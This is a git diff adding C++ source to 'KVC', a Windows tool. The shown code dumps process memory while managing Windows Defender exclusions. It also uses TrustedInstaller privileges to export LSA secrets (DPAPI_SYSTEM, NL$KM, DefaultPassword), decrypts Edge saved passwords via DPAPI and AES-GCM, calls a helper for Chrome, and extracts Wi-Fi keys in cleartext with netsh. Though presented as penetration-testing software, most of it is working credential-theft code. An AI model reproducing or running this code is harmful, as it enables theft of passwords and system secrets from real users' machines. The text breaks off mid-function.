CloseHandle(hFile); + CloseHandle(hProcess); + DeleteFileW(fullPath.c_str()); + SelfProtect(L"none", L"none"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + CloseHandle(hFile); + CloseHandle(hProcess); + + if (!result) { + DWORD error = GetLastError(); + switch (error) { + case ERROR_TIMEOUT: + ERROR(L"MiniDumpWriteDump timed out - process may be unresponsive or in critical section"); + break; + case RPC_S_CALL_FAILED: + ERROR(L"RPC call failed - process may be a kernel-mode or system-critical process"); + break; + case ERROR_ACCESS_DENIED: + ERROR(L"Access denied - insufficient privileges even with protection bypass"); + break; + case ERROR_PARTIAL_COPY: + ERROR(L"Partial copy - some memory regions could not be read"); + break; + default: + ERROR(L"MiniDumpWriteDump failed (error: %d / 0x%08x)", error, error); + break; + } + DeleteFileW(fullPath.c_str()); + SelfProtect(L"none", L"none"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + SUCCESS(L"Memory dump created successfully: %s", fullPath.c_str()); + + INFO(L"Removing self-protection before cleanup..."); + SelfProtect(L"none", L"none"); + + if (g_interrupted) { + INFO(L"Operation completed but cleanup was interrupted"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return true; + } + + // Clean up Defender exclusions and perform atomic cleanup + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + + return true; +} \ No newline at end of file diff --git a/kvc/ControllerPasswordManager.cpp b/kvc/ControllerPasswordManager.cpp new file mode 100644 index 0000000..cd1a720 --- /dev/null +++ b/kvc/ControllerPasswordManager.cpp @@ -0,0 +1,1016 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "Controller.h" +#include "ReportExporter.h" +#include "common.h" +#include "Utils.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "crypt32.lib") +#pragma comment(lib, "bcrypt.lib") + +namespace fs = std::filesystem; +extern volatile bool g_interrupted; + +// SQLite constants for winsqlite3.dll compatibility +constexpr int SQLITE_OPEN_READONLY = 0x00000001; + +// UTF-8 string conversion utilities for DPAPI operations +std::wstring StringToWString(const std::string& str) noexcept +{ + if (str.empty()) return L""; + + int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast(str.size()), nullptr, 0); + std::wstring result(size_needed, 0); + MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast(str.size()), result.data(), size_needed); + return result; +} + +std::string WStringToString(const std::wstring& wstr) noexcept +{ + if (wstr.empty()) return ""; + + int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast(wstr.size()), nullptr, 0, nullptr, nullptr); + std::string result(size_needed, 0); + WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast(wstr.size()), result.data(), size_needed, nullptr, nullptr); + return result; +} + +// Main DPAPI password extraction interface +bool Controller::ShowPasswords(const std::wstring& outputPath) noexcept +{ + std::wstring finalOutputPath = outputPath; + + if (finalOutputPath.empty()) { + wchar_t* downloadsPath; + if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, nullptr, &downloadsPath) == S_OK) { + finalOutputPath = downloadsPath; + CoTaskMemFree(downloadsPath); + } else { + finalOutputPath = GetSystemTempPath(); + } + } + + INFO(L"Starting DPAPI password extraction to: %s", finalOutputPath.c_str()); + + if (!PerformPasswordExtractionInit()) { + ERROR(L"Failed to initialize password extraction"); + return false; + } + + if (g_interrupted) { + INFO(L"Password extraction cancelled by user before start"); + PerformPasswordExtractionCleanup(); + return false; + } + + std::vector masterKeys; + if (!ExtractRegistryMasterKeys(masterKeys)) { + ERROR(L"Failed to extract registry master keys"); + PerformPasswordExtractionCleanup(); + return false; + } + + // Process and decrypt registry master keys for display + if (!ProcessRegistryMasterKeys(masterKeys)) { + INFO(L"Failed to process some registry master keys"); + } + + if (g_interrupted) { + INFO(L"Password extraction cancelled during registry access"); + PerformPasswordExtractionCleanup(); + return false; + } + + std::vector passwordResults; + + // Process Edge passwords through DPAPI (works well) + if (!ProcessBrowserPasswords(masterKeys, passwordResults, finalOutputPath)) { + ERROR(L"Failed to process Edge browser passwords"); + // Continue anyway - not critical failure + } + + if (g_interrupted) { + INFO(L"Password extraction cancelled during browser processing"); + PerformPasswordExtractionCleanup(); + return false; + } + + // Process Chrome passwords through kvc_pass (DPAPI gives garbage for Chrome) + INFO(L"Chrome passwords require COM elevation - delegating to kvc_pass..."); + if (!ExportBrowserData(finalOutputPath, L"chrome")) { + INFO(L"Chrome password extraction failed, continuing with Edge and WiFi"); + // Continue anyway - Chrome failure shouldn't break the rest + } + + if (g_interrupted) { + INFO(L"Password extraction cancelled during Chrome processing"); + PerformPasswordExtractionCleanup(); + return false; + } + + if (!ExtractWiFiCredentials(passwordResults)) { + ERROR(L"Failed to extract WiFi credentials"); + PerformPasswordExtractionCleanup(); + return false; + } + + if (g_interrupted) { + INFO(L"Password extraction cancelled before report generation"); + PerformPasswordExtractionCleanup(); + return false; + } + + ReportData reportData(passwordResults, masterKeys, finalOutputPath); + ReportExporter exporter; + + if (!exporter.ExportAllFormats(reportData)) { + ERROR(L"Failed to generate password reports"); + PerformPasswordExtractionCleanup(); + return false; + } + + exporter.DisplaySummary(reportData); + + PerformPasswordExtractionCleanup(); + SUCCESS(L"Password extraction completed successfully"); + return true; +} + +// Initialize DPAPI extraction with TrustedInstaller privileges +bool Controller::PerformPasswordExtractionInit() noexcept +{ + INFO(L"Initializing DPAPI extraction with TrustedInstaller privileges..."); + + if (!LoadSQLiteLibrary()) { + ERROR(L"Failed to load SQLite library"); + return false; + } + + if (!EnablePrivilege(L"SeDebugPrivilege")) { + ERROR(L"CRITICAL: Failed to enable SeDebugPrivilege"); + return false; + } + + if (!EnablePrivilege(L"SeImpersonatePrivilege")) { + ERROR(L"CRITICAL: Failed to enable SeImpersonatePrivilege"); + return false; + } + + EnablePrivilege(L"SeBackupPrivilege"); + EnablePrivilege(L"SeRestorePrivilege"); + + if (!m_trustedInstaller.PublicImpersonateSystem()) { + ERROR(L"Failed to impersonate SYSTEM: %d", GetLastError()); + return false; + } + + DWORD tiPid = m_trustedInstaller.StartTrustedInstallerService(); + if (!tiPid) { + ERROR(L"StartTrustedInstallerService failed: %d", GetLastError()); + RevertToSelf(); + return false; + } + + RevertToSelf(); + + HANDLE hFinalToken = m_trustedInstaller.GetCachedTrustedInstallerToken(); + if (!hFinalToken) { + ERROR(L"GetCachedTrustedInstallerToken returned null"); + return false; + } + + TOKEN_STATISTICS tokenStats; + DWORD dwLength; + if (!GetTokenInformation(hFinalToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwLength)) { + ERROR(L"Token validation failed: %d", GetLastError()); + return false; + } + + SUCCESS(L"DPAPI extraction initialization completed with TrustedInstaller token"); + return true; +} + +void Controller::PerformPasswordExtractionCleanup() noexcept +{ + UnloadSQLiteLibrary(); + + auto tempPattern = DPAPIConstants::GetTempPattern(); + try { + auto systemTempPath = GetSystemTempPath(); + for (const auto& entry : fs::directory_iterator(systemTempPath)) { + if (entry.path().filename().wstring().find(tempPattern) != std::wstring::npos) { + fs::remove(entry.path()); + } + } + } catch (...) { + // Silent cleanup failure is acceptable + } + + INFO(L"DPAPI extraction cleanup completed"); +} + +// Extract registry master keys using TrustedInstaller +bool Controller::ExtractRegistryMasterKeys(std::vector& masterKeys) noexcept +{ + INFO(L"Extracting LSA secrets using TrustedInstaller token"); + return ExtractLSASecretsViaTrustedInstaller(masterKeys); +} + +bool Controller::ExtractLSASecretsViaTrustedInstaller(std::vector& masterKeys) noexcept +{ + INFO(L"Extracting LSA secrets via TrustedInstaller + REG EXPORT..."); + + std::wstring systemTempPath = GetSystemTempPath(); + CreateDirectoryW(systemTempPath.c_str(), nullptr); + + HANDLE hTrustedToken = m_trustedInstaller.GetCachedTrustedInstallerToken(); + if (!hTrustedToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + std::wstring regExportPath = systemTempPath + L"\\secrets.reg"; + + const std::vector secretPaths = { + L"\"HKLM\\SECURITY\\Policy\\Secrets\\DPAPI_SYSTEM\"", + L"\"HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\"", + L"\"HKLM\\SECURITY\\Policy\\Secrets\\DefaultPassword\"" + }; + + bool success = false; + + for (const auto& secretPath : secretPaths) { + std::wstring regCommand = L"reg export " + secretPath + L" \"" + regExportPath + L"\" /y"; + + if (m_trustedInstaller.RunAsTrustedInstallerSilent(regCommand)) { + if (GetFileAttributesW(regExportPath.c_str()) != INVALID_FILE_ATTRIBUTES) { + HANDLE hFile = CreateFileW(regExportPath.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr); + if (hFile != INVALID_HANDLE_VALUE) { + LARGE_INTEGER fileSize; + if (GetFileSizeEx(hFile, &fileSize) && fileSize.QuadPart > 100) { + CloseHandle(hFile); + + if (ParseRegFileForSecrets(regExportPath, masterKeys)) { + success = true; + } + } else { + CloseHandle(hFile); + } + } + } + } + + DeleteFileW(regExportPath.c_str()); + } + + return success; +} + +// Parse registry export files for LSA secrets +bool Controller::ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector& masterKeys) noexcept +{ + std::ifstream file(regFilePath, std::ios::binary); + if (!file.is_open()) { + ERROR(L"Failed to open REG file: %s", regFilePath.c_str()); + return false; + } + + std::string content((std::istreambuf_iterator(file)), std::istreambuf_iterator()); + file.close(); + + std::wstring wcontent; + if (content.size() >= 2 && static_cast(content[0]) == 0xFF && static_cast(content[1]) == 0xFE) { + // UTF-16 LE BOM detected + const wchar_t* wdata = reinterpret_cast(content.data() + 2); + size_t wlen = (content.size() - 2) / sizeof(wchar_t); + wcontent = std::wstring(wdata, wlen); + } else { + // Assume UTF-8 + int size_needed = MultiByteToWideChar(CP_UTF8, 0, content.c_str(), -1, nullptr, 0); + if (size_needed > 0) { + wcontent.resize(size_needed - 1); + MultiByteToWideChar(CP_UTF8, 0, content.c_str(), -1, wcontent.data(), size_needed); + } else { + return false; + } + } + + std::wistringstream stream(wcontent); + std::wstring line; + std::wstring currentKeyPath; + std::wstring hexData; + bool inCurrValSection = false; + int extractedCount = 0; + + while (std::getline(stream, line)) { + // Trim whitespace + line.erase(0, line.find_first_not_of(L" \t\r\n")); + line.erase(line.find_last_not_of(L" \t\r\n") + 1); + + if (line.empty()) continue; + + if (line.length() > 2 && line[0] == L'[' && line.back() == L']') { + // Process previous section if we have data + if (inCurrValSection && !hexData.empty()) { + RegistryMasterKey masterKey; + masterKey.keyName = L"HKLM\\" + currentKeyPath; + + if (ConvertHexStringToBytes(hexData, masterKey.encryptedData)) { + masterKeys.push_back(masterKey); + extractedCount++; + SUCCESS(L"Extracted LSA secret: %s (%d bytes)", + currentKeyPath.c_str(), static_cast(masterKey.encryptedData.size())); + } + hexData.clear(); + } + + inCurrValSection = false; + + std::wstring fullPath = line.substr(1, line.length() - 2); + if (fullPath.starts_with(L"HKEY_LOCAL_MACHINE\\")) { + currentKeyPath = fullPath.substr(19); + + if (currentKeyPath.find(L"\\CurrVal") != std::wstring::npos) { + std::wstring baseKey = currentKeyPath.substr(0, currentKeyPath.find(L"\\CurrVal")); + if (baseKey == L"SECURITY\\Policy\\Secrets\\DPAPI_SYSTEM" || + baseKey == L"SECURITY\\Policy\\Secrets\\NL$KM" || + baseKey == L"SECURITY\\Policy\\Secrets\\DefaultPassword") { + inCurrValSection = true; + } + } + } + continue; + } + + if (inCurrValSection) { + if (line.starts_with(L"@=hex(0):")) { + hexData = line.substr(9); + } + else if (!hexData.empty() && + (line[0] == L' ' || line[0] == L'\t' || line.find(L",") != std::wstring::npos)) { + std::wstring cleanLine = line; + cleanLine.erase(0, cleanLine.find_first_not_of(L" \t\\")); + cleanLine.erase(cleanLine.find_last_not_of(L" \t\\") + 1); + + if (!cleanLine.empty()) { + hexData += cleanLine; + } + } + } + } + + // Process final section + if (inCurrValSection && !hexData.empty()) { + RegistryMasterKey masterKey; + masterKey.keyName = L"HKLM\\" + currentKeyPath; + + if (ConvertHexStringToBytes(hexData, masterKey.encryptedData)) { + masterKeys.push_back(masterKey); + extractedCount++; + SUCCESS(L"Extracted final LSA secret: %s (%d bytes)", + currentKeyPath.c_str(), static_cast(masterKey.encryptedData.size())); + } + } + + return extractedCount > 0; +} + +bool Controller::ConvertHexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept +{ + std::wstring cleanHex; + cleanHex.reserve(hexString.length()); + + for (wchar_t c : hexString) { + if ((c >= L'0' && c <= L'9') || + (c >= L'a' && c <= L'f') || + (c >= L'A' && c <= L'F')) { + cleanHex += c; + } + } + + if (cleanHex.length() % 2 != 0) { + ERROR(L"Invalid hex string length: %d", static_cast(cleanHex.length())); + return false; + } + + bytes.clear(); + bytes.reserve(cleanHex.length() / 2); + + for (size_t i = 0; i < cleanHex.length(); i += 2) { + wchar_t* endPtr; + BYTE byteVal = static_cast(std::wcstoul(cleanHex.substr(i, 2).c_str(), &endPtr, 16)); + bytes.push_back(byteVal); + } + + return true; +} + +// Decrypt LSA secrets using CryptUnprotectData for display purposes +bool Controller::ProcessRegistryMasterKeys(std::vector& masterKeys) noexcept +{ + INFO(L"Processing and decrypting registry master keys..."); + + for (auto& masterKey : masterKeys) { + if (masterKey.encryptedData.empty()) continue; + + // LSA secrets are typically encrypted - attempt DPAPI decryption + DATA_BLOB encryptedBlob = { + static_cast(masterKey.encryptedData.size()), + masterKey.encryptedData.data() + }; + DATA_BLOB decryptedBlob = {}; + + // Try standard DPAPI first + if (CryptUnprotectData(&encryptedBlob, nullptr, nullptr, nullptr, nullptr, + CRYPTPROTECT_UI_FORBIDDEN, &decryptedBlob)) { + masterKey.decryptedData.assign(decryptedBlob.pbData, decryptedBlob.pbData + decryptedBlob.cbData); + LocalFree(decryptedBlob.pbData); + masterKey.isDecrypted = true; + + SUCCESS(L"Decrypted LSA secret: %s (%d bytes)", + masterKey.keyName.c_str(), static_cast(masterKey.decryptedData.size())); + } else { + // LSA secrets may be raw or use different encryption - keep as encrypted + // but still extract meaningful data for display + masterKey.decryptedData = masterKey.encryptedData; // Show raw data as fallback + masterKey.isDecrypted = true; + + INFO(L"LSA secret kept as raw data: %s (%d bytes)", + masterKey.keyName.c_str(), static_cast(masterKey.encryptedData.size())); + } + } + + return !masterKeys.empty(); +} + +// Convert byte vector to hex string for display +std::string Controller::BytesToHexString(const std::vector& bytes) noexcept +{ + if (bytes.empty()) return ""; + + std::ostringstream hexStream; + hexStream << std::hex << std::setfill('0'); + + for (const auto& byte : bytes) { + hexStream << std::setw(2) << static_cast(byte); + } + + return hexStream.str(); +} + +// Process browser passwords with master key decryption +bool Controller::ProcessBrowserPasswords(const std::vector& masterKeys, + std::vector& results, + const std::wstring& outputPath) noexcept +{ + INFO(L"Processing browser passwords with extracted master keys..."); + + // Only process Edge through DPAPI + char* appData; + size_t len; + _dupenv_s(&appData, &len, DPAPIConstants::GetLocalAppData().c_str()); + std::string localAppDataA(appData); + free(appData); + + std::wstring localAppData = StringToWString(localAppDataA); + auto edgePath = localAppData + DPAPIConstants::GetEdgeUserData(); + + bool edgeSuccess = ProcessSingleBrowser(edgePath, L"Edge", masterKeys, results, outputPath); + + return edgeSuccess; // Chrome handled separately +} + +bool Controller::ProcessSingleBrowser(const std::wstring& browserPath, + const std::wstring& browserName, + const std::vector& masterKeys, + std::vector& results, + const std::wstring& outputPath) noexcept +{ + if (!fs::exists(browserPath)) { + INFO(L"%s path not found: %s", browserName.c_str(), browserPath.c_str()); + return false; + } + + INFO(L"Processing %s browser data...", browserName.c_str()); + + std::vector browserMasterKey; + if (!ExtractBrowserMasterKey(browserPath, browserName, masterKeys, browserMasterKey)) { + ERROR(L"Failed to extract %s master key", browserName.c_str()); + return false; + } + + int passwordCount = 0; + for (const auto& entry : fs::directory_iterator(browserPath)) { + if (g_interrupted) { + INFO(L"Browser processing cancelled by user"); + break; + } + + if (entry.is_directory()) { + const auto filename = entry.path().filename().wstring(); + if (filename.find(L"Default") != std::wstring::npos || + filename.find(L"Profile") != std::wstring::npos) { + + auto loginDataPath = entry.path().wstring() + DPAPIConstants::GetLoginDataFile(); + if (fs::exists(loginDataPath)) { + passwordCount += ProcessLoginDatabase(loginDataPath, browserName, + filename, browserMasterKey, results, outputPath); + } + } + } + } + + INFO(L"Extracted %d passwords from %s", passwordCount, browserName.c_str()); + return passwordCount > 0; +} + +bool Controller::ExtractBrowserMasterKey(const std::wstring& browserPath, + const std::wstring& browserName, + const std::vector& masterKeys, + std::vector& decryptedKey) noexcept +{ + auto localStatePath = browserPath + DPAPIConstants::GetLocalStateFile(); + if (!fs::exists(localStatePath)) { + ERROR(L"Local State file not found: %s", localStatePath.c_str()); + return false; + } + + std::ifstream localStateFile(localStatePath); + std::string content((std::istreambuf_iterator(localStateFile)), std::istreambuf_iterator()); + + auto encryptedKeyMarker = DPAPIConstants::GetEncryptedKeyField(); + size_t keyPos = content.find(encryptedKeyMarker); + if (keyPos == std::string::npos) { + ERROR(L"encrypted_key not found in Local State"); + return false; + } + + size_t startQuote = content.find("\"", keyPos + encryptedKeyMarker.length()); + size_t endQuote = content.find("\"", startQuote + 1); + + if (startQuote == std::string::npos || endQuote == std::string::npos) { + ERROR(L"Failed to parse encrypted_key from JSON"); + return false; + } + + std::string encryptedKeyBase64 = content.substr(startQuote + 1, endQuote - startQuote - 1); + + std::vector encryptedKeyBytes = Base64Decode(encryptedKeyBase64); + if (encryptedKeyBytes.empty()) { + ERROR(L"Failed to decode base64 master key"); + return false; + } + + if (encryptedKeyBytes.size() > 5) { + encryptedKeyBytes = std::vector(encryptedKeyBytes.begin() + 5, encryptedKeyBytes.end()); + } else { + ERROR(L"Encrypted key too short"); + return false; + } + + decryptedKey = DecryptWithDPAPI(encryptedKeyBytes, masterKeys); + if (decryptedKey.empty()) { + ERROR(L"Failed to decrypt %s master key", browserName.c_str()); + return false; + } + + SUCCESS(L"%s master key decrypted successfully", browserName.c_str()); + return true; +} + +// Process SQLite login database with AES-GCM decryption +int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath, + const std::wstring& browserName, + const std::wstring& profileName, + const std::vector& masterKey, + std::vector& results, + const std::wstring& outputPath) noexcept +{ + std::wstring systemTempPath = GetSystemTempPath(); + auto tempDbPath = systemTempPath + L"\\" + DPAPIConstants::GetTempLoginDB(); + + try { + fs::copy_file(loginDataPath, tempDbPath, fs::copy_options::overwrite_existing); + } catch (...) { + ERROR(L"Failed to copy login database: %s", loginDataPath.c_str()); + return 0; + } + + void* db; + std::string tempDbPathA = WStringToString(tempDbPath); + + if (m_sqlite.open_v2(tempDbPathA.c_str(), &db, SQLITE_OPEN_READONLY, nullptr) != 0) { + ERROR(L"Failed to open SQLite database: %s", tempDbPath.c_str()); + fs::remove(tempDbPath); + return 0; + } + + void* stmt; + auto loginQuery = DPAPIConstants::GetLoginQuery(); + if (m_sqlite.prepare_v2(db, loginQuery.c_str(), -1, &stmt, nullptr) != 0) { + ERROR(L"Failed to prepare SQLite query"); + m_sqlite.close_v2(db); + fs::remove(tempDbPath); + return 0; + } + + int passwordCount = 0; + while (m_sqlite.step(stmt) == 100) { // SQLITE_ROW + if (g_interrupted) { + INFO(L"Database processing cancelled by user"); + break; + } + + PasswordResult result; + result.type = browserName + L"-LoginData"; + result.profile = profileName; + + if (auto urlText = m_sqlite.column_text(stmt, 0)) { + result.url = StringToWString(reinterpret_cast(urlText)); + } + + if (auto usernameText = m_sqlite.column_text(stmt, 1)) { + result.username = StringToWString(reinterpret_cast(usernameText)); + } + + const BYTE* pwdBytes = static_cast(m_sqlite.column_blob(stmt, 2)); + int pwdSize = m_sqlite.column_bytes(stmt, 2); + + if (pwdBytes && pwdSize > 0) { + std::vector encryptedPwd(pwdBytes, pwdBytes + pwdSize); + std::string decryptedPwd = DecryptChromeAESGCM(encryptedPwd, masterKey); + result.password = StringToWString(decryptedPwd); + result.status = DPAPIConstants::GetStatusDecrypted(); + + results.push_back(result); + passwordCount++; + } + } + + m_sqlite.finalize(stmt); + m_sqlite.close_v2(db); + fs::remove(tempDbPath); + + return passwordCount; +} + +// Extract WiFi credentials using netsh commands +bool Controller::ExtractWiFiCredentials(std::vector& results) noexcept +{ + INFO(L"Extracting WiFi passwords..."); + + FILE* pipe = _popen(DPAPIConstants::GetNetshShowProfiles().c_str(), "r"); + if (!pipe) { + ERROR(L"Failed to run netsh command"); + return false; + } + + std::string netshResult; + char buffer[128]; + while (fgets(buffer, sizeof(buffer), pipe)) { + netshResult += buffer; + } + _pclose(pipe); + + std::vector profiles; + size_t pos = 0; + const auto profileMarker = DPAPIConstants::GetWiFiProfileMarker(); + + while ((pos = netshResult.find(profileMarker, pos)) != std::string::npos) { + size_t start = netshResult.find(":", pos) + 2; + size_t end = netshResult.find("\n", start); + if (start != std::string::npos && end != std::string::npos) { + std::string profile = netshResult.substr(start, end - start); + + // Trim whitespace + profile.erase(0, profile.find_first_not_of(" \t\r\n")); + profile.erase(profile.find_last_not_of(" \t\r\n") + 1); + + if (!profile.empty()) { + profiles.push_back(profile); + } + } + pos = end; + } + + for (const auto& profile : profiles) { + if (g_interrupted) { + INFO(L"WiFi processing cancelled by user"); + break; + } + + std::string keyCommand = "netsh wlan show profile name=\"" + profile + "\" key=clear"; + FILE* keyPipe = _popen(keyCommand.c_str(), "r"); + if (!keyPipe) continue; + + std::string keyResult; + while (fgets(buffer, sizeof(buffer), keyPipe)) { + keyResult += buffer; + } + _pclose(keyPipe); + + size_t keyPos = keyResult.find("Key Content"); + if (keyPos != std::string::npos) { + size_t keyStart = keyResult.find(":", keyPos) + 2; + size_t keyEnd = keyResult.find("\n", keyStart); + if (keyStart != std::string::npos && keyEnd != std::string::npos) { + std::string password = keyResult.substr(keyStart, keyEnd - keyStart); + password.erase(0, password.find_first_not_of(" \t\r\n")); + password.erase(password.find_last_not_of(" \t\r\n") + 1); + + if (!password.empty()) { + PasswordResult wifiResult; + wifiResult.type = L"WiFi"; + wifiResult.profile = StringToWString(profile); + wifiResult.password = StringToWString(password); + wifiResult.status = DPAPIConstants::GetStatusDecrypted(); + results.push_back(wifiResult); + } + } + } + } + + return true; +} + +// SQLite library loading +bool Controller::LoadSQLiteLibrary() noexcept +{ + m_sqlite.hModule = LoadLibraryW(L"winsqlite3.dll"); + if (!m_sqlite.hModule) { + ERROR(L"winsqlite3.dll not found - Windows 10/11 required"); + return false; + } + + // Database connection management functions + m_sqlite.open_v2 = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_open_v2")); + m_sqlite.close_v2 = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_close_v2")); + + // Statement preparation and cleanup functions + m_sqlite.prepare_v2 = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_prepare_v2")); + m_sqlite.finalize = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_finalize")); + + // Query execution function + m_sqlite.step = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_step")); + + // Column data retrieval functions + m_sqlite.column_text = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_column_text")); + m_sqlite.column_blob = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_column_blob")); + m_sqlite.column_bytes = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_column_bytes")); + + // Verify all required functions were loaded successfully + if (!m_sqlite.open_v2 || !m_sqlite.close_v2 || // Database lifecycle + !m_sqlite.prepare_v2 || !m_sqlite.finalize || // Statement lifecycle + !m_sqlite.step || // Query execution + !m_sqlite.column_text || !m_sqlite.column_blob || // Data retrieval + !m_sqlite.column_bytes) { // Data size info + ERROR(L"Failed to load required winsqlite3.dll functions"); + UnloadSQLiteLibrary(); + return false; + } + + SUCCESS(L"winsqlite3.dll loaded successfully with all required functions"); + return true; +} + +void Controller::UnloadSQLiteLibrary() noexcept +{ + if (m_sqlite.hModule) { + FreeLibrary(m_sqlite.hModule); + m_sqlite.hModule = nullptr; + } +} + +// Base64 decode using Windows CryptAPI +std::vector Controller::Base64Decode(const std::string& encoded) noexcept +{ + DWORD decodedSize = 0; + + if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &decodedSize, nullptr, nullptr)) { + return {}; + } + + std::vector decoded(decodedSize); + if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, decoded.data(), &decodedSize, nullptr, nullptr)) { + return {}; + } + + decoded.resize(decodedSize); + return decoded; +} + +// DPAPI decryption for browser master keys +std::vector Controller::DecryptWithDPAPI(const std::vector& encryptedData, + const std::vector& masterKeys) noexcept +{ + DATA_BLOB in = { static_cast(encryptedData.size()), const_cast(encryptedData.data()) }; + DATA_BLOB out = {}; + + if (CryptUnprotectData(&in, nullptr, nullptr, nullptr, nullptr, CRYPTPROTECT_UI_FORBIDDEN, &out)) { + std::vector result(out.pbData, out.pbData + out.cbData); + LocalFree(out.pbData); + return result; + } + + return {}; +} + +// Chrome AES-GCM decryption for v10+ password format +std::string Controller::DecryptChromeAESGCM(const std::vector& encryptedData, + const std::vector& key) noexcept +{ + // Check for Chrome v10+ format + if (encryptedData.size() >= 15 && + encryptedData[0] == 'v' && + encryptedData[1] == '1' && + encryptedData[2] == '0') { + + std::vector nonce(encryptedData.begin() + 3, encryptedData.begin() + 15); + std::vector ciphertext(encryptedData.begin() + 15, encryptedData.end() - 16); + std::vector tag(encryptedData.end() - 16, encryptedData.end()); + + BCRYPT_ALG_HANDLE hAlg = nullptr; + NTSTATUS status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0); + if (status != 0) return ""; + + status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, + reinterpret_cast(const_cast(BCRYPT_CHAIN_MODE_GCM)), + sizeof(BCRYPT_CHAIN_MODE_GCM), 0); + if (status != 0) { + BCryptCloseAlgorithmProvider(hAlg, 0); + return ""; + } + + BCRYPT_KEY_HANDLE hKey = nullptr; + status = BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, + const_cast(key.data()), + static_cast(key.size()), 0); + if (status != 0) { + BCryptCloseAlgorithmProvider(hAlg, 0); + return ""; + } + + BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; + BCRYPT_INIT_AUTH_MODE_INFO(authInfo); + authInfo.pbNonce = nonce.data(); + authInfo.cbNonce = static_cast(nonce.size()); + authInfo.pbTag = tag.data(); + authInfo.cbTag = static_cast(tag.size()); + + std::vector plaintext(ciphertext.size()); + ULONG cbResult = 0; + + status = BCryptDecrypt(hKey, ciphertext.data(), + static_cast(ciphertext.size()), + &authInfo, nullptr, 0, + plaintext.data(), + static_cast(plaintext.size()), + &cbResult, 0); + + BCryptDestroyKey(hKey); + BCryptCloseAlgorithmProvider(hAlg, 0); + + if (status == 0) { + return std::string(plaintext.begin(), plaintext.begin() + cbResult); + } + } + + // Fallback for legacy formats + return std::string(encryptedData.begin(), encryptedData.end()); +} + +bool Controller::EnablePrivilege(LPCWSTR privilegeName) noexcept +{ + HANDLE hToken; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { + return false; + } + + LUID luid; + if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid)) { + CloseHandle(hToken); + return false; + } + + TOKEN_PRIVILEGES tp = {}; + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr); + DWORD lastError = GetLastError(); + CloseHandle(hToken); + + return result && (lastError == ERROR_SUCCESS); +} + +// Browser data extraction with kvc_pass integration +bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept +{ + INFO(L"Starting browser password extraction for %s", browserType.c_str()); + + // Check for kvc_pass.exe in current directory and system directories + std::wstring decryptorPath = L"kvc_pass.exe"; + if (GetFileAttributesW(decryptorPath.c_str()) == INVALID_FILE_ATTRIBUTES) { + // Try system32 directory + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { + decryptorPath = std::wstring(systemDir) + L"\\kvc_pass.exe"; + if (GetFileAttributesW(decryptorPath.c_str()) == INVALID_FILE_ATTRIBUTES) { + ERROR(L"kvc_pass.exe not found in current directory or system directory"); + ERROR(L"Please ensure kvc_pass.exe is in the same directory as kvc.exe or in System32"); + return false; + } + } else { + ERROR(L"Failed to get system directory path"); + return false; + } + } + + // Validate browser type + if (browserType != L"chrome" && browserType != L"brave" && browserType != L"edge") { + ERROR(L"Unsupported browser type: %s. Supported: 